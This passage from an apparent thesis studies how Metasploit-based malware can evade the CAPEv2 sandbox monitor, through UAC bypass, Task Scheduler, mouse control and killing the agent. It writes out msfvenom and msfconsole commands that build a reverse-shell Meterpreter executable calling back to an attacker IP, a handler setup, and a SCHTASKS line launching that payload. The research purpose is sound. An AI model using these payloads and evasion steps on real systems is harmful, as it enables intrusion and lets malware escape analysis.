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4.5 UAC Bypass Module
User Account Control (UAC) is one of the core components of Microsoft’s Windows
security. It helps to mitigate the impact of malware by introducing the concept of
standard (non-privileged) and administrator (privileged) security context. By default,
every application that gets executed is executed in non-privileged mode. This allows
administrator accounts to safely run software without fearing that the application will
have more rights than needed. If the application needs to run in the privileged security
context, such as accessing a system resource, the user is presented with a prompt asking
to approve this action. If approved, the application gets elevated to the privileged secu-
rity context, receiving a full administrator access token. UAC offers multiple security
levels which define when or if the user is asked to approve the application request. The
important part then is that when an application with the full administrator access token
launches another application, this token is inherited by the newly launched application
[35].

As having an administrator’s access token is needed for many tasks, a malware
wants to do, like registry modifications, protected folder modifications, or using the
task scheduler, Metasploit offers multiple modules to bypass the UAC prompt and
get the needed administrator token. One of those modules is a module called use
exploit/windows/local/bypassuac.

This module was developed by D. Kennedy, Mittnick, and Mubix. It is based on a
Proof-of-Concept (POC) by Leo Davidson 1, who discovered a design defect in Windows
7 UAC concept. The problem with UAC in Windows is that some programs signed by
Microsoft (Windows Publisher certificate) can auto-elevate themselves (silently, without
a prompt) to a privileged level. This can then be used to run arbitrary code. Bypassuac
uses the trusted publisher certificate and process injection to spawn a second shell that
has the UAC flag turned off [36–37].

The bypassuac module spawns, among others, a tior.exe file to the victim machine.
This file, according to the description in its sourcecode 2 is used to redirect data from
the console to pipes. When using tior.exe, the redirector app, the child process will
never know that his parent redirects its IO [38].

1 https://www.pretentiousname.com/misc/win7_uac_whitelist2.html
2 https://github.com/rapid7/metasploit-framework/blob/master/external/source/exploits/bypa

ssuac/TIOR/TIOR.cpp
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Chapter 5
Experiments

This chapter describes the realization of analyzing how to evade CAPEv2 sandbox
monitoring. Moreover, this chapter will explain how I have tried to escape the CAPEv2
monitor by using Metasploit-based attacks. To perform this analysis, I have used the
local installation of CAPEv2 as well as the official, publicly available instance, run by
the creators, available at https://capesandbox.com. The following section covers
all the infrastructure specifics, with scripts used for setup and installation listed in
appendix A.1.

5.1 Infrastructure
In this section, the infrastructure used to conduct the analysis of CAPEv2 abilities in
evasion detection will be discussed. The infrastructure setup was built upon infras-
tructure Dominik Kouba [39] has built for his thesis. The main part of the analysis
was performed locally on a local installation of the CAPEv2 sandbox. As I wanted
to verify everything I have discovered on my local instance, I have used the public in-
stance of CAPEv2. Since the public instance is created and maintained by the CAPEv2
developers, it is configured to follow the known best practices.

In the subsections below, I will introduce the infrastructure used.

5.1.1 Host Machine

Since my thesis aims to test and analyze the capabilities of CAPEv2, only one instance
of CAPEv2 was needed. As was mentioned in the theoretical introduction, Chapter
2.3, this machine runs the sandbox with the associated virtualization software as guest
machines were used virtualized Windows 7 machines that were stored on controlled by
the host machine.

The configuration was made according to the CAPEv2 documentation.[5] The host
machine is running Ubuntu 20.04.1 as well as CAPEv2 sandbox commit ID dada7d2.
CAPEv2 was installed with scripts provided by the authors with the required minor
tweaks, mainly to introduce the correct IP address range and network interfaces. To-
gether with the full script used, all the specifics are part of the appendix A.1.

Physically the host machine is a virtual server based on Intel Xeon X3430 CPU. This
CPU greatly reduces the ability to run the most recent version of CAPEv2 as this CPU
does not support AVX instructions needed by MongoDB of version 5 and above, which
is then needed by the newest CAPEv2.

On the host machine, there are also four virtual machines running on KVM virtual-
ization, which CAPEv2 uses as guest machines.
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5.1.2 Guest Machines

Each guest machine is a virtualized machine running Windows 7, build 7601. As de-
scribed in the theoretical part, those are the machines on which my malicious code is
running and where the detection capabilities of CAPEv2 are tested.

One of the requirements on the guest machines was to disable Windows Defender
antivirus and also to disable the firewall. This has to be done to aid the attack and help
me focus on evading the CAPEv2 monitor and not the antivirus. Another requirement
on the guest machine posed by CAPEv2 sandbox itself is the need for Python3 to run
the agent.py. The agent is needed for communication with the sandbox. It is also
suggested by CAPEv2 developers to have the UAC (User Account Control) disabled.
This suggestion is a bit problematic because real-world machines usually have the UAC
settings in their default state. The default state is that the UAC is enabled. Having the
UAC disabled might be a good enough marker for malware to suppose the environment
it’s running at is, in fact, a sandbox. Because the assumption is the UAC is enabled
on real-world machines, and having UAC disabled does not correspond to the assumed
standard setting. Thus disabling the UAC might produce false-negative analysis results
as the malware would not do anything in an environment with a disabled UAC. Because
of this, I had one machine with UAC turned on and the other with it turned off. As
I later found out, having the UAC enabled broadens the possibilities of escaping the
CAPEv2 monitor.

On the machines, there is some side software that Dominik [39] installed for his
malware testing purposes. This software was installed on the machines with the aim of
mimicking a real-world machine. Specifically, the SW installed is shown in the following
Figure 5.1.

Figure 5.1. Guest Machine — Installed Programs

For a minor simplification of my analysis, I have placed a text file called su-
per secret hidden file.txt on the desktop to test whether I’ve managed to evade the
CAPEv2 monitor successfully. That is because I’ve written a signature that monitors
whether this file was accessed or not. This means that if the analyzed malware sample
makes an action to read the super secret hidden file.txt and CAPEv2 is still attached
to the malware, CAPEv2 will report that the super secret hidden file.txt was read.
Otherwise, there will be no sign of it. More on that in the Signature section 5.2.2.
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5.1.3 Kali Linux — attacking machine

To create and control the malicious files that were then tested in the CAPEv2 sandbox, a
virtual machine running Kali Linux was used. The version used was 2021.4a-virtualbox1.
This machine was connected to the university network, which means it had a public IP
address. Having an IP address reachable from the internet was necessary for testing
the crafted samples against the CAPEv2 public instance.

5.2 Analysis of CAPEv2 Capabilities — Preparation

In this section, I will discuss how I’ve tested and then analyzed the detection capabilities
of CAPEv2. Metasploit console (or msfvenom directly) was used to create the malicious
exe files containing the Meterpreter shell. Those files were then submitted into the
sandbox using its web interface. The sandbox, after the files are successfully submitted,
then runs the submitted files in the guest VMs. The malicious payload then did what
it was supposed to do. Usually, its main job was connecting back to the attacking
machine and opening up a Meterpreter session. I could then use this newly opened
session to try to evade the detection.

5.2.1 Creating Malicious Payload

For creating a malicious payload, I was using, as specified in the specification, Metas-
ploit. Msfconsole is the main control interface of the Metasploit framework, and as
such, it was used to create the malicious file. There’s also an option to use msfvenom
directly, which gives us the same output — malicious file — as if we use the msfconsole.
The only difference is that msfconsole uses msfvenom internally and so the syntax can
be made more user-friendly. On the other hand, using msfvenom directly results in
using only one command. Both approaches were used. The difference between those
two tools can be better understood from the following code listings.

This is an example of how to create a malicious file that will use reverse tcp Meter-
preter payload. This payload creates, upon execution, a reverse connection via TCP —
a connection back to the attacker. After the connection is successfully established, the
payload creates a Meterpreter session.

msfconsole # This spins up the Metasploit console
use windows/meterpreter/reverse_tcp # Specifies which module to use
set LHOST 147.32.215.77 # IP address of attacker
set LPORT 4445 # IP port of attacker to connect to
generate -f exe -o reverse_tcp.exe # This generates the EXE file

The same result, but using msfvenom, can be achieved like this:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=147.32.215.77 LPORT=
4445 -f exe --platform windows -a x86 -o reverse_tcp.exe

In order to handle the incoming connection from the victim machine, a handler must
be set up on the attacker’s side. The Meterpreter payload reverse tcp is handled using
the multi/handler handler. That is a universal handler that is used to handle reverse
connections. The handler is set up as follows.

1 https://www.kali.org/get-kali/#kali-virtual-machines
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msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp # As in the EXE file
set LHOST 147.32.215.77 # Address and port to listen to
set LPORT 4445
exploit # Starts the handler

I didn’t need to hide in any way that the file was malicious because there was no
antivirus software active on the target machines that would interfere with running the
created file, and I knew that the file would always be executed. Of course, the CAPEv2’s
static analysis will detect that the file is malicious, but the interest was in analyzing
the behavioral capabilities of CAPEv2. Because of this, I was using reverse tcp or
reverse https Meterpreter reverse payloads without any encoding. I had to use reverse
payloads as the victim machine was hidden behind a NAT — did not have a public IP
address. Reverse payloads make the connection from the victim machine back to the
attacker machine. Both staged, and stageless versions of the payloads were tested, and
as I did not notice any impact on the detection in CAPEv2, I later used only the staged
version. Staged versions are also compatible with more Metasploit modules, which
was another reason I preferred them. The reason why staged versions of payloads are
compatible with more Metasploit modules is their size advantage — the staged payloads
are smaller than their stageless counterparts.

5.2.2 CAPEv2 Signatures

In order to distinguish whether I’ve successfully managed to escape the CAPEv2 moni-
tor, I’ve written an easy signature that test’s whether a file was accessed. Because of the
properties of the CAPEv2 sandbox, which operates by only monitoring the uploaded
file, I know that if I access the super secret hidden file.txt file on the desktop and do
not get an alert, I know I’ve managed to escape the monitor.

The signature Python3 code is as follows:

from lib.cuckoo.common.abstracts import Signature

class AccessesHiddenFile(Signature):
name = "accesses_monitored_file"
description = "Accesses monitored file on a Windows file system"
severity = 3
categories = ["generic"]
authors = ["ilzaman"]
minimum = "0.5"

enabled = True

def run(self):
match = self.check_file(pattern="super_secret_hidden_file\\

.txt$", regex=True)
if match:

self.data.append({"file": match})
return True

return False
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5.2.3 Getting a Stable Session — Investigating Stability Issues

After the upload of the malicious file containing reverse tcp Meterpreter staged payload,
I have had the issue that the payload was not able to connect back to the attacker
machine. The connection scheme is shown in Figure 5.2. I supposed CAPEv2 or its
monitor somehow interfered with the ability of Meterpreter to establish a stable session,
as the established sessions lasted only a few seconds before they would disconnect. This
behavior of the Meterpreter sessions was unusable for future experiments, as it would
not allow me to conduct them. The process of finding the solution for this problem is
covered in this subsection.

Figure 5.2. Connection Scheme

Because CAPEv2 is a payload extracting sandbox, there was a possibility that this
payload extraction from the network traffic prevents the reverse tcp stager from down-
loading the necessary components to create a stable Meterpreter session. This possi-
bility proved wrong as the stageless version of the Meterpreter payloads was unstable
too.

Another option was to test whether the standard windows (DOS) shell and Pow-
erShell reverse payloads would suffer from the same issue. Both payloads produced
stable sessions. This discovery means that the problem was only related to the Me-
terpreter sessions. I have then tried to find where the problem was by starting with a
clean VM and slowly introducing different elements of CAPEv2 to see at which step
the Meterpreter session breaks down.

Using pure VM and the reverse Meterpreter payloads without CAPEv2 sandbox pro-
duced a stable session. That meant that it was CAPEv2 that introduced the problem.
The option then was to use the CAPEv2 web interface to upload the file and let it run
without attaching the monitor, i.e., disabling its monitoring capabilities. This resulted
in a stable version as well. Then it was clear that the problem was introduced by the
CAPEv2, its monitor, or the payload extracting functionality.

Another possibility on how to find the problem was to monitor the network traffic
between attacker and victim machine with and without the CAPEv2 sandbox. Figure
5.3 depicts network traffic with no monitor attached, and Figure 5.4 with the monitor
attached. It can be clearly seen that the TCP session when the CAPEv2 monitor is
attached resets itself after about 40 sec, and it never fully reestablishes.

This discovery made it clear that CAPEv2 somehow makes the session timeout on the
victim side earlier than it should. This observation leads to investigating the CAPEv2
monitor itself. As the CAPEv2 monitor is the DLL that gets injected into the target
process, and it is responsible for the monitoring and code manipulation CAPEv2 does
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Figure 5.3. PCAP of Reverse TCP without CAPEv2 Monitor

Figure 5.4. PCAP of Reverse TCP with CAPEv2 Monitor

to the target process, it had to be the root cause of the session stability issues. One
of the hooks responsible for manipulating the sleep time of the analyzed application,
called NtWaitForSingleObject was found to cause this behavior, and recompiling the
monitor without this hook fixed the session stability issues. I’ve opened an issue on
GitHub1 for the developers to let them know about this problem so that it can be fixed,
but it has not been resolved at the time of writing this thesis.

Since I could solve the problem by omitting this hook from the hook set used by the
monitor, I could continue using reverse tcp-based payloads. Omitting the hook was not
an ideal solution as that means CAPEv2 could not be tested in its default configuration.
But as the CAPEv2 developers’ team is still working on a fix for this issue, at the time
of writing this thesis, I have used it as a temporary solution for the purpose of my
analysis. If malware were to use Meterpreter’s reverse tcp payload, it would be unable
to execute in the CAPEv2 sandbox properly. Because it would be unable to execute
properly, CAPEv2 could misclassify it as a non-malicious file!

It is important to note that this issue is related only to Meterpreter payloads based
on reverse tcp. Payloads based either on a standard shell or Meterpreter reverse http
or reverse https do not share this issue and are safe to use with CAPEv2 sandbox in
its original settings.

5.2.4 Integrating with the Payload — Meterpreter Shell
Upon successfully uploading our malicious file with a Meterpreter-based payload,
CAPEv2 runs it in a VM, connects back to my PC, and establishes a Meterpreter
1 https://github.com/kevoreilly/capemon/issues/34
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session. Figure 5.5 shows how the reverse tcp stager first connects to the handler and
downloads all the necessary components to establish the full Meterpreter session. It
then presents a Meterpreter prompt to interact with.

Figure 5.5. Meterpreter Session Establishment

After that, the goal was to manipulate the newly created session to lose the CAPEv2
monitor. There is a large pallet of options the Meterpreter shell offers us. In this
section, I’ll go through the most important ones, describing how they can be used and
what they might achieve in regard to evading the CAPEv2 monitor. A full list of
available commands can be shown by typing help in the Meterpreter shell console. A
snippet from Meterpreter’s help is shown in Figure 5.6

Figure 5.6. Meterpreter Console Help

Background command is used to background the current session so the msfconsole
can be controlled instead. This is done to load some other module (exploit) which
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would then usually utilize the already existing session. To return to the background
session command sessions is used in msfconsole.

Command cat as well as cd and pwd work exactly as on Unix systems. Cat displays
the content of a file which is given as an argument, cd changes to the specified directory,
and pwd prints the current working directory. This is useful for navigating on the victim
machine to manipulate the filesystem. There are also two commands for file transfer
between the attacker and victim machines. Download is used to download a file from
the victim machine to the attacker machine, while upload does the exact opposite. Both
commands are useful for, i.e., uploading a new executable that can be later used for
malicious purposes.

Execute is used to execute a specified file on the victim machine, with the option to
redirect the program’s input and output to the active session. Migrate is used to change
the process under which the session is running. As the session handling software uses in-
memory injection, it can become part of almost any process running. Also, a completely
new process can be spawned for it to migrate to. For listing running processes on the
victim machine, so we can find a process to migrate to, the ps command is used.

5.3 Analysis of CAPEv2 Capabilities — The Analysis

In this section, detailed steps of every attempt to evade the CAPEv2 monitor I made
will be covered. To aid with deciding whether I’ve managed to evade the detection, I
have been accessing a file (super secret hidden file.txt) on the filesystem. The simple
cat super_secret_hidden_file.txt command is sufficient as if the monitor is still
attached, the signature accesed hiden file is triggered because the file was accessed.

All the following steps presume that an active session is already established. As men-
tioned in 5.2.3, I was using mainly windows/meterpreter/reverse tcp 32-bit payload, but
the kind of payload is irrelevant for future steps, as long as it contains the Meterpreter
shell.

5.3.1 Process Migration

The first command I’ve tried is Meterpreter’s migrate which migrates to another pro-
cess. That can be done by spawning a new process or migrating to another already
existing one. Migration to the existing process is done via migrate -P <PID> where
PID is the ID of the process we want to migrate to. If we wanted to create a new
process and then migrate into it, one of the tools we could use, and I’ve been using,
is run post/windows/manage/migrate. This will either migrate to a specified process
or spawn a completely new one.

Process migration tests the ability of CAPEv2 monitor to track process trees of
the analyzed file. If this analysis had failed in a way that the behavior would not be
monitored, it would be a major flaw as CAPEv2 would not be able to properly monitor
all Windows API calls performed by all processes spawned by the analyzed file. And
that is something CAPEv2 claims it is able to do.

Migrating to another process did not evade the CAPEv2 monitor. The monitor
stayed attached and was able to keep monitoring the file. As can be seen in Figure 5.7,
I have successfully migrated from PID 2924 to 1880, then accessed the monitored file,
and CAPEv2 still reported it. Proof of CAPEv2 detecting the process migration and
the access to the monitored file is shown in Figure 5.8.
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Figure 5.7. Process Migration in Meterpreter

Figure 5.8. Process Migration Detections

5.3.2 Bypassing UAC - BYPASSUAC

Since I was using a Windows machine with UAC in its default settings, there was an ob-
vious need for a privileged (elevated) process. This is because for many advanced tasks,
like registry modifications, protected folder modifications, or using the task scheduler,
the privileged mode is needed. Also, privilege escalation is a step usually performed by
malware, so I wanted to analyze CAPEv2 capabilities in monitoring this type of attack.
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As the user on the victim machine is part of the administrators group, the bypassuac
exploit by David Kennedy, Kevin Mitnick, and Mubix could be used to elevate the
session to the privileged execution state.

With a stable non-privileged session already established, the Bypassuac mod-
ule can be set up. First, I need to load it in msfconsole, which is done by
use exploit/windows/local/bypassuac. Then by set session <session-id>
the session against which the exploit will be run is set. There is also an option to
specify a payload that would be used to create the new session. The default reverse tcp
Meterpreter payload was used.

Figure 5.9. BypassUAC List of Accessed Files as per CAPEv2

After setting up the necessary options, the exploit can be run by executing the
exploit command. Upon execution, the exploit uses the existing session to upload all
the necessary files it needs to perform the UAC bypass. More info on how this module
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works is in Chapter 4.5. As soon as the upload is completed, we are greeted with a new
session, running with elevated privileges.

A Meterpreter getuid command reveals that the session is running as a comp user.
This was changed by the getsystem command, which elevated the session to NT AU-
THORITY/SYSTEM. The fact that the session was able to elevate to the system
means that on the victim machine, the payload had to run with the administrators’ to-
ken. Now, as the system, accessing the monitored file worked as usual. The monitored
file — the super secret hidden file.txt was accessed and read using the cat command.
However, Figure 5.9 shows the list of accessed files by the analyzed sample, and the
monitored file is missing. CAPEv2 was not able to detect that the file was accessed,
and this attack successfully evaded the monitor!

In Chapter 4.5 where this Bypassuac module is discussed in detail, a tior.exe is
mentioned. This file, I suspected, was the reason why CAPEv2 was not able to track
the newly created Meterpreter session. As mentioned in the theoretical chapter, the
tior.exe file is a redirector, and while using it, the child process will not know that its
IO is being redirected. However, upon testing different UAC bypass modules such as
windows/local/ask, which just triggers a prompt to the user to elevate the current
program to the system. I have discovered that CAPEv2 was not able to monitor the
process that the ask module produced. This observation can be seen in the following
Figures. Figure 5.10 depicts how the exploit was prepared. Figure 5.11 then shows
how I elevated myself to the system and then accessed the monitored file. Figure 5.12
then shows the full list of files accessed by the monitored application, as detected by
CAPEv2. It can be clearly seen that the super secret hidden file.txt is missing from this
list.

Figure 5.10. Meterpreter ASK Module Set-Up and Execution
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Figure 5.11. Access to The Monitored File as System

Figure 5.12. ASK List of Accessed Files as per CAPEv2

However, all of this cannot be verified on the public instance of CAPEv2 as all the
machines there has their UAC level set to off. So this exploit has nothing to exploit, and
system privileges can be obtained only by using the getsystem command. CAPEv2
monitors this behavior, and CAPEv2 is able to keep track of what is going on in the
system. I was able to verify that on the public instance as well as on my local machine
with UAC turned off. This means that, for now, CAPEv2 is not able to properly
analyze files on machines with UAC turned to any other setting but off. It would be
fair to say that the developers specified that CAPEv2 should be used with machines
that have their UAC level set to never notify.

5.3.3 Persistence Exploits

Gaining persistence — gaining permanent access to a system — is one of the usual tasks
performed by hackers, so I have decided to test whether CAPEv2 will keep monitoring
the system even after reboot. For this, windows/local/persistence_service was
used as well as windows/manage/persistence_exe Metasploit modules. The first one
uploads a specified payload, which in my case was the usual reverse http Meterpreter
stager, and then registers it as a service. The latter uploads a specified file (any exe
file) and registers it as an autorun file by manipulating the Windows registry. Both
modules need an already existing Meterpreter session in order to work.

Testing showed that CAPEv2 is not able to monitor the system after a reboot as
every action I have done was not recognized by CAPEv2. I have also noticed that on
my local test instance, the human.py, which mimics the behavior of a user by moving
the mouse and clicking stuff, was not running. That leads me to believe that after
reboot, the CAPEv2 analyzer is not properly initialized by the Guest Manager and
thus not monitoring the file as it should. As I was not able to see the desktop of the
victim machine while testing this on the public instance, I cannot say that the same
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is true for the public instance. But after the reboot, nothing was monitored even on
there.

Thanks to this, I believe that CAPEv2 is not well suited for analyzing malware that
uses two stages, where the first one is good only for gaining persistence. Because the be-
havior which happens after the system is rebooted is not being monitored. Fortunately,
CAPEv2 is able to detect when a process installs something to be run at Windows
startup, as shown in Figure 5.13. This information can be used to realize that the
malware behavior might not be monitored properly and that a different tool should
be used for the analysis. But it is needed to say that many legitimate software tools
ensure persistence and thus, just the detection that persistence is being ensured is not
sufficient to flag the file as malware.

Figure 5.13. CAPEv2 Detects SW That Ensures Persistence

5.3.4 Control via VNC
VNC sessions allow us to see and control the desktop of the user of the victim machine.
Although impractical to use programmatically, it is not impossible to use it as a way how
to evade detection, as distinguishing between a valid and wanted VNC session is tough.
I wanted to know whether CAPEv2 would be able to monitor the system effectively, as
when using the desktop environment, it’s the window manager who is responsible for
all that is happening. Unfortunately, due to some problems in the configuration of my
VNC viewer, I was not able to control the desktop. I was only able to see what was
happening on it. So as a replacement, I have used the Meterpreter mouse command,
which allows me to move the mouse from the console. And As I was able to see the
screen, I moved the mouse over the super secret hidden file.txt and double-clicked it.
That opened up a notepad window with the content of the file. Commands and opened
notepad window are shown in Figure 5.14.
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Figure 5.14. Using Mouse to Open File

Figure 5.15. Mouse Commands Not Detected in CAPEv2

As shown in Figure5.15, CAPEv2 did not register access to the monitored file. That
means that by using the mouse command, we can escape CAPEv2 monitoring. And
since mouse is a console command, it can be used, together with some image recognition,
for fully autonomous malware. And CAPEv2 would not alert us on that. The drawback
of this exploit in a real-world scenario is that if a user of the victim machine looks at
his desktop — monitor, he would be able to watch the malware perform its duties in
real-time.
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5.3.5 Windows Task Scheduler

Windows Task Scheduler is a Windows built-in feature to schedule jobs — launch pro-
grams at specified times or after defined time intervals, or as a reaction to some system
events. Because of the Task Scheduler’s ability to execute jobs, it can be manipulated
into launching malicious applications as Windows Task Scheduler can be easily con-
trolled from the command line by the SCHTASK command. I wanted to test whether
CAPEv2 is able to monitor applications launched by Task Scheduler as malware can
have its main part scheduled to be run after some event or time. Since CAPEv2 aims to
analyze malware behavior, analyzing just the part that schedules the job is insufficient
in understanding what the malware really does. On Unix-like systems, cron provides
similar functionality to Windows Task Scheduler.

The analysis was started by getting a stable Meterpreter session. The command
upload was then used to upload a specially crafted Meterpreter stager (reverse http)
with the intention to have it run by the Task Scheduler. That would open up a new
session that might not be monitored by CAPEv2.

A Windows Command Prompt, which was needed to tell the Task Scheduler which
tasks to schedule, was then opened up using the execute -f cmd.exe -i Meterpreter
command. In the newly opened Windows Command Prompt, I was able to schedule
the task with the name HTTP, to be run as the user Rebecca, only once, on the current
day at 16:56 (which was a time a minute after I ran this script). The full command to
create a new task is as follows:

SCHTASKS /CREATE /SC ONCE /TN "HTTP" /TR "C:\Users\Rebecca\reverse_http_
443.exe" /ST 16:56 /RU Rebecca

For some reason, the task did not automatically start, and it had to be started up
manually using the SCHTASKS /Run /TN HTTP command. After the task was run, a new
Meterpreter session was established, which I was able to use. This managed to evade
the CAPEv2 detection as none of the behavior done in the new session was logged by
CAPEv2. Proof of this is shown in Figure 5.16 that in the list of accessed files, there
is none super secret hidden file.txt.

When starting this analysis, I supposed I would be able to evade CAPEv2 detection
using this evasion technique by scheduling a task in Task Scheduler. That is because
Task Scheduler is an integral part of the OS. The processes launched by the Task
Scheduler are directly launched by it, and on those processes, there are no traces of the
malware. The processes launched by the Task Scheduler have no visible connection to
the malware process, and as discovered, those processes are not monitored by CAPEv2.
But CAPEv2 has detected, as shown in Figure 5.17, that the analyzed file scheduled
some tasks. This information could be used in the monitor to hook all new tasks created
by the scheduler in order to monitor the behavior of the malware properly.
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Figure 5.16. List of Accessed Files — SCHTASK

Figure 5.17. CAPEv2 Detections — SCHTASK

5.3.6 Killing the Agent

The last option I tried to evade the CAPEv2 monitor was to kill the agent.py — the
simple python webserver that is used to collect data from the monitor and send it to
the sandbox itself for analysis.

If configured as recommended by the installation manual, that means that the guest
machine has its UAC set to off, CAPEv2 hides the python executable from the list of
currently running processes. So a simple ps in the Meterpreter shell will not show me
the process ID of it. Unfortunately for the CAPEv2, the process is still shown in the
standard windows task manager, so it can also be killed there. And that is exactly what
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I did. When the UAC level is set to its default state, that means notify when a program
is trying to make changes to this computer, the python process is clearly visible in the
ps list of processes and can be easily killed by kill <PID>.

When killed, the agent stops sending new information to the CAPEv2 sandbox, and
from the moment of its death, the analysis is blind. So this is another way how to evade
detection. An important note is that this agent can be hidden by process injection or
by simple renaming, and then a user unfamiliar with the system would not know which
process to kill. This would deem this way of evading the detection practically unusable.

The fact that the agent was killed can be recognized when looking at the execution
log CAPEv2 offers. When the analysis ends, in the log, it will say that the analysis
ended. When the agent is killed, the log ends prematurely, and there is no sign of
analysis ended entry. So even though killing the agent is a way how to evade detection,
it is not without a trace.

5.4 Results
In this chapter, I have gone through the steps I have performed to analyze how to
evade CAPEv2 monitoring. I have used Metasploit to perform steps that would lose
the monitor — to bypass or just lose the monitor hooks. Meterpreter shell was the
tool, Metasploit offers, I have used it the most as it allowed me to control the victim
computer, and it has a lot of the tools needed for system exploitation. However, it is
only one of the many available tools.

Firstly I have discovered that Meterpreter’s reverse tcp based payloads do not work
with the base configuration of CAPEv2. This is caused by a bug in the CAPEv2
monitor, and as such, it means that malware based on this payload will not be detected
by CAPEv2 as it will not execute correctly.

I have discovered that simple process migration is not able to evade the detection,
and CAPEv2 is capable enough to track it. Furthermore, process migration left a nice
track behind. In CAPEv2’s report, the full process tree of what the analyzed process
migrated into was shown.

The UAC Bypass exploit showed me a vulnerability in CAPEv2 as when using a
setup more similar to the real world, that means a machine with UAC set to its default
state, elevating to system privileges completely evades the monitor. Although CAPEv2
developers specified that CAPEv2 should be used with UAC turned off, I still see this
as a weakness as malware can detect the UAC level and refuse to work properly when
the UAC level is set to off. Having UAC turned off on a normal home computer is
highly unusual — malware can change its behavior based on this setting. This sandbox
detection is done by malware to evade being detected and then analyzed by security
researchers.

CAPEv2’s inability to track processes after the machine is rebooted, as found out
in 5.3.3, presents a hard limit on what CAPEv2 can be used for. Since the analyzed
malware can be just an installer of some sort, the real malicious stuff is done just
after the reboot. In this case, CAPEv2 cannot be used as my experiments showed
that it is unable to handle the restart of the guest machine. Since a request to reboot
a computer usually signifies nothing malicious, this CAPEv2 trait makes it hard to
analyze the given malware correctly, should it try to reboot the system.

Another way how to lose the CAPEv2 monitor was the usage of the mouse command,
thus using the mouse to perform steps. The biggest problem I see there is that CAPEv2
did not detect that I was moving the mouse — issuing commands to move the mouse.
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And since when UI elements are used to control the computer, it is not the monitored
program that is responsible for the relevant syscalls, and that is the reason why this
is a way how to evade the monitoring. Related to this is the possibility of losing the
monitor by using Task Scheduler. Those two ways are really similar in concept as they
rely on using a system application to do the work instead of the monitored application.

Killing the agent is sort of a last resort but an effective way to avoid detection. Since
killing the agent is not reported by the CAPEv2, it is also safe to assume as it will not
trigger any alarm. Of course, this does not evade the detection in the correct sense of
the word evade, but more like denies the possibility of analyzing it. The only problem
with this approach is locating and then killing the correct process.

Apart from elevating to the system with one of the UAC bypass modules and using
the UI elements to navigate through the system, all the other ways I have proposed
in this thesis on how to evade detection in CAPEv2 leave traces behind them. Those
traces means that even though I was able to evade the detection eventually, I left traces
behind which could (and definitely should) be used to alert the user of CAPEv2 that
there was an attempt to evade the monitor and that the analysis might be incomplete.
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Chapter 6
Summary

The aim of this thesis was to analyze the detection capabilities of the CAPEv2 sand-
box. Mainly to analyze what ways malware can use to evade detection in the CAPEv2
sandbox if it is even possible. I have achieved this by analyzing how CAPEv2 works,
analyzing the common detection evasion techniques, and by analyzing and getting fa-
miliar with Metasploit — the common pen-testing framework. I did then strengthen
and verify this knowledge in the experimental part, where I was looking for ways how
to evade the detection. In the process of writing this thesis, I have not encountered
any problems with good resources I could rely on. However, CAPEv2’s documentation
could be a bit better as I often had to research its well-commented source code to
understand how CAPEv2 really works.

In Chapter 2, I explained what CAPEv2 sandbox is, how it works and what it is
good for. I have aimed to provide a general overview of how this sandbox operates as
an understanding that is crucial for later parts of this work.

Detection evasion is covered in Chapter 3. I have surveyed the most common detec-
tion evasion techniques in the Windows ecosystem. In this chapter, I have also covered
process injection as that is a technique often needed to perform evasion detection in
some form.

I have also focused on Metasploit, a tool I have used in the experimental part. A
general overview of how this tool functions, its capabilities, and principal components,
presented with regard to the aim of my work, is given in Chapter 4.

In the experimental section, Chapter 5, I have focused on finding attack vectors
that would escape the CAPEv2 monitoring. For this, as previously mentioned, I was
mainly using the Metasploit framework. The first part of this chapter was dedicated
to explaining the technology and infrastructure used, while the other was aimed at the
analysis itself.

I have managed to find ways how to evade CAPEv2 detection as well as a flaw in
the monitor which makes monitoring of some samples impossible. That is because the
CAPEv2’s monitor hooks are designed to speed up time for the analyzed sample as a
countermeasure to common sandbox-detection techniques. CAPEv2 is definitely not a
flawless sandbox with unavoidable monitoring. Using the GUI — VNC session showed
as the technique which would leave the least traces when executed and which completely
evades the CAPEv2 detection. The results of my analysis are thoroughly summed up
in section 5.4. Although CAPEv2 is not flawless, it is still a capable sandbox, as
long as the analyzed malware is not trying to escape the monitor by doing creative
things — ParanoidFish’s report shows that the common sandbox detection and evasion
techniques are ineffective in CAPEv2.

6.1 Future work
Since my analysis in this thesis was focused on analyzing executable files and CAPEv2
is able to analyze URLs, PDFs, and Microsoft Office documents, it would be interesting
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to see how it handles those samples and whether those samples would provide more
ways on how to escape CAPEv2 detection as those samples cannot rely just on the
monitor itself because they are not executable.

As shown in Chapter 2.5, hooking could also be used to evade CAPEv2’s detection.
By developing a custom executable, with deep knowledge of Windows, I believe one can
bypass the CAPEv2’s hooks by finding either API calls or direct syscalls which are not
hooked properly. The effort to hide the use of specific syscalls has already been made.1
However, doing this kind of obfuscation by hand would be a really time-consuming job.
On the other hand, the fact is that malware developers are able and willing to put this
much effort into making their malware evade detection, so it might be just a matter of
time before an obfuscation process like this could be automated. Analyzing how well
CAPEv2 can monitor code obfuscated at such a low level could be interesting. Because,
as was already discussed in the introduction, understanding the malware behavior is
the first step in mitigating it.

1 https://passthehashbrowns.github.io/hiding-your-syscalls
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Appendix A
Attachments

A.1 Infrastructure and Configuration

access hidden file.py CAPEv2 signature for detecting access to monitored file.
capev2.sh script used for installing CAPEv2.

cuckoo.conf CAPEv2 main configuration file.
kvm.conf CAPEv2 machinery configuration file.

routing.conf CAPEv2 networking configuration file.

A.2 Data

reverse tcp cape.pcapng PCAP file of network communication between VM in
CAPEv2 and attacker

reverse tcp cape nosleep.pcapng PCAP file of network communication between VM in
CAPEv2 and attacker with disabled sleep hooks

reverse tcp no cape.pcapng PCAP file of network communication between VM in
CAPEv2 and attacker without the monitor DLL at-
tached
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